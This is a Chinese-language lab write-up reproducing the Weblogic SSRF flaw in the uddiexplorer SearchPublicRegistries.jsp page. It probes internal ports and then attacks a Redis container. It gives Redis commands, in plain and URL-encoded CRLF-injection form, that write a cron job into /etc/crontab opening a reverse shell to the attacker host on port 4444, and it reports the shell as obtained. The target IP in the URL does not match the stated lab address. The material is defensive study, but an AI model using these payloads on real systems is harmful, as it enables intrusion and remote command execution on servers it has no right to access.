Weblogic SSRF漏洞复现

漏洞简介

        Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。

测试环境 

Weblogic靶机环境：192.168.3.50

Redis容器：172.19.0.2

攻击机：192.168.3.44

漏洞复现

Weblogic的漏洞存在于：http://192.168.42.145:7001/uddiexplorer/SearchPublicRegistries.jsp

使用burp抓包

operator参数可控

探测开放端口

端口未开放提示信息：

端口开放提示信息：

根据返回内容的不同判断端口是否开放

反弹shell 

探测redis端口是否开放

6379端口开放

利用计划任务反弹shell，将shell脚本写入/etc/crontab

set 1 "\n\n\n\n* * * * * root bash -c 'sh -i >& /dev/tcp/192.168.3.44/4444 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

转换成URL编码，换行符是"\r\n"，编码后是"%0D%0A"

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.44%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

攻击机监听端口

使用Burp发送

反弹成功